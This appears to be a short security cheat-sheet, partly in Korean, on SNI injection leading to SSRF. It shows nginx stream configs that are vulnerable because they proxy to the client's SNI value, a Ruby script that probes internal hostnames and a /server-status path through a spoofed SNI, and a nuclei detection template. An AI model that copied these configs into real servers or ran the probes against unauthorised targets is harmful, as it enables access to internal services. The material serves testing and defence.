SNI Injection

# SNI SSRF에 취약한 nginx 설정
stream {
    server {
        listen 443; 
        resolver 127.0.0.11;
        proxy_pass $ssl_preread_server_name:443;       
        ssl_preread on;
    }
}

# 정규표현식을 통해 처리하는 경우에도 SNI를 통해 통제되지 않는 동작이 발생할 수 있음
stream {
    map $ssl_preread_server_name $targetBackend {
        ~^www.example.com    $ssl_preread_server_name;
    }  

    server {
        listen 443; 
        resolver 127.0.0.11;
        proxy_pass $targetBackend:443;       
        ssl_preread on;
    }
}

# frozen_string_literal: true

require 'net/http'

def check(url, sni)
  uri = URI(url)

  Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
    request = Net::HTTP::Get.new(uri)
    response = http.request(request)

    p response.code
    p response.body
  end
end

check('https://www.hahwul.com','internal.hahwul.com')
check('https://www.hahwul.com','dalfox.hahwul.com')

id: tls-sni-proxy

info:
  name: TLS SNI Proxy Detection
  author: pdteam
  severity: info
  reference:
    - https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
    - https://www.bamsoftware.com/computers/sniproxy/
  tags: ssrf,oast,tls,sni,proxy

requests:
  - raw:
      - |
        @tls-sni: interactsh-url
        GET HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

require 'net/http'

def check(url, sni)
  uri = URI(url)

  Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
    request = Net::HTTP::Get.new(uri)
    response = http.request(request)

    p response.code
    p response.body
  end
end

check('https://public.target.com/server-status','internal.service')